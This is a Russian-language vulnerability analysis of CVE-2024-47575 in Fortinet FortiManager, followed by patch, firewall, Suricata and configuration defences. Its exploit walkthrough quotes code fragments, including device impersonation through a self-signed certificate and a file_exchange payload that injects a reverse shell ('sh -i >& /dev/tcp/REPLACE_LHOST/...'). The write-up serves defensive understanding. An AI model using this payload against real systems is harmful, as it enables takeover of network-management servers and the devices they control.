
Уязвимость BDU:2024-08556 (CVE-2024-47575) Fortinet FortiManager
Уязвимость BDU:2024-08556 (CVE-2024-47575) представляет собой критическую уязвимость удаленного выполнения кода (RCE) без аутентификации в демоне fgfmd
FortiManager. Она позволяет удаленному злоумышленнику выполнить произвольные команды на целевой системе путем отправки специально сформированных сетевых запросов.
Анализ уязвимости
Уровень опасности: 9.8 (CRITICAL)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Attack Vector: Network) – Атака через сеть
-
AC:L (Attack Complexity: Low) – Низкая сложность эксплуатации
-
PR:N (Privileges Required: None) – Требуемые привилегии: отсутствуют
-
UI:N (User Interaction: None) – Взаимодействие с пользователем: не требуется
-
S:U (Scope: Unchanged) – Область воздействия: не изменяется
-
C:H (Confidentiality: High) – Полное нарушение конфиденциальности
-
I:H (Integrity: High) – Полное нарушение целостности
-
A:H (Availability: High) – Полное нарушение доступности
Условия эксплуатации
-
Доступ к порту 541/TCP: Злоумышленник должен иметь сетевой доступ к уязвимому FortiManager (обычно внутренняя сеть или DMZ).
-
Версия ПО: FortiManager/FortiManager Cloud версий:
-
7.6.0, 7.4.0–7.4.4, 7.2.0–7.2.7, 7.0.0–7.0.12, 6.4.0–6.4.14, 6.2.0–6.2.12
-
-
Отсутствие аутентификации: Уязвимая функция (
file_exchange
) не требует аутентификации.
Уязвимое ПО
- FortiManager до 7.6.1
- FortiManager от 7.4.0 до 7.4.5
- FortiManager от 7.2.0 до 7.2.8
- FortiManager от 7.0.0 до 7.0.13
- FortiManager от 6.4.0 до 6.4.15
- FortiManager от 6.2.0 до 6.2.13
- FortiManager Cloud от 7.4.1 до 7.4.5
- FortiManager Cloud от 7.2.1 до 7.2.8
- FortiManager Cloud от 7.0.1 до 7.0.13
- FortiManager Cloud 6.4
Анализ кода эксплоита
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости. Эксплоит CVE-2024-47575.py
использует несколько этапов атаки:
1. Установка SSL-соединения
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.load_cert_chain(certfile="w00t_cert.bin", keyfile="w00t_key.bin") ssl_sock = context.wrap_socket(s)
Проблема: FortiManager принимает любые самоподписанные сертификаты при регистрации устройства, что позволяет злоумышленнику выдать себя за доверенное устройство (например, FortiGate).
2. Эмуляция устройства FortiGate
Эксплоит отправляет пакет get ip
, имитируя данные реального устройства:
request_getip = b"""get ip serialno=FGVMEVWG8YMT3R63 platform=FortiGate-VM64 ... \0""".replace(b"\n",b"\r\n")
Уязвимость: Демон fgfmd
не проверяет подлинность устройства при первоначальном "рукопожатии".
3. Использование функции file_exchange
Ключевой этап – передача команды RCE через параметр file
:
json_payload = b"""{ "data": { "file":"`sh -i >& /dev/tcp/REPLACE_LHOST/REPLACE_LPORT 0>&1`" } }"""
Уязвимость: Параметр file
в методe um/som/export
не санитизируется, что позволяет внедрить команды Bash через backticks (``).
4. Выполнение RCE через канал
Эксплоит открывает канал передачи данных и отправляет полезную нагрузку:
request_channel_open += str(len(json_payload)).encode() request_channel_open += b"\n" request_channel_open += json_payload
Результат: На сервере выполняется команда sh -i
, открывающая обратный shell к атакующему.
Возможные последствия эксплуатации
-
Полный контроль над FortiManager:
-
Установка бэкдоров, криптомайнеров, ransomware.
-
-
Компрометация управляемых устройств:
-
FortiManager управляет сетевыми устройствами (FortiGate, FortiSwitch). Злоумышленник может изменить их конфигурации, правила фаервола, VPN-настройки.
-
-
Кража конфиденциальных данных:
-
Сертификаты, пароли ADOM, конфиги устройств, логи доступа.
-
-
Атаки на внутреннюю сеть:
-
FortiManager обычно имеет привилегированный доступ в защищаемых сегментах сети.
-
Способы защиты
1. Обновление ПО
Установите фиксированные версии:
-
FortiManager 7.6.1+, 7.4.6+, 7.2.9+, 7.0.14+, 6.4.16+, 6.2.14+
-
FortiManager Cloud: 7.4.6+, 7.2.9+, 7.0.14+
2. Сегментация сети
-
Ограничьте доступ к порту 541/TCP только доверенным IP-адресам (например, управляющим серверам).
-
Пример правила для iptables:
iptables -A INPUT -p tcp --dport 541 -s 192.168.10.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 541 -j DROP
3. Правило для Suricata/IPS
Блокировка попыток использования file_exchange
с подозрительным содержимым:
alert tcp any any -> $HOME_NET 541 ( msg:"FortiManager CVE-2024-47575 Exploit Attempt"; flow:established; content:"|0A|file_exchange|0D 0A|"; content:"file|3A 22|`"; within:100; metadata:policy security-ips; sid:202408556; rev:1; )
Примечание: Правило ищет последовательность file:"
+ backtick (`) в 100 байтах после file_exchange
.
4. Отключение неиспользуемых сервисов
Если функция file_exchange
не требуется:
config system global set fgfmd-allow-file-exchange disable end
Проверьте документацию Fortinet перед отключением!
